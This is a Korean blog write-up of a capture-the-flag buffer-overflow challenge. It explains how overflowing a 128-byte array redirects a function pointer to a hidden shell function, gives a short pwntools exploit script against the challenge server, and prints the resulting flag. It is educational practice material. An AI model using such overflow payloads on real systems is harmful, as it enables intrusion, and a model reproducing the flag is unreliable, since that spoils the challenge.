이 문제는 크기가 128바이트로 선언된 s라는 배열에 최대 133바이트까지 입력할 수 있고,
이를 이용해서 flag를 구하는 문제이다.
오버플로우를 이용한 문제인데, 오버플로우를 이용해서 무엇을 변조할 것인지 떠올리는게 핵심이다.
IDA의 왼쪽부분을 보면 함수 목록이 표시되는데, 그 중에서 shell이라는 함수가 있다.
이 함수를 실행시켜서 flag를 구해야 한다.
따라서 오버플로우를 이용해서 v5가 shell을 가리키도록 해야한다.
shell의 주소값은, 마지막에 파란색으로 표시된 starts at 다음에 나오는 주소이다.
즉, 오버플로우를 시킬 때, 앞쪽의 128칸은 아무 문자로 채워버리고, 마지막에 위에서 구한 shell의 주소값을 덧붙여야된다.
익스플로잇 코드는 다음과 같다.
from pwn import *
p = remote('pwn.scalart.me', 8002)
pay = b"A" * 128 + p32(0x804849B)
p.send(pay)
p.interactive()
실행해보면 아래처럼 의도대로 작동하는 것을 확인할 수 있다.
마지막으로 flag를 구해주면 된다.
flag = L7{b4dea2614ce91c9fc5621c2efbcad26e}
'Layer7 과제 > 포너블' 카테고리의 다른 글
[포너블] overwrite_variable32 (0) | 2022.09.20 |
---|---|
[포너블] pwnable.kr - bof (0) | 2022.09.19 |
[포너블] dreamhack - basic_exploitation_001 (0) | 2022.09.19 |
[포너블] basic pwn - 64bof_basic (0) | 2022.09.14 |
[포너블] basic pwn - bof_basic (0) | 2022.09.14 |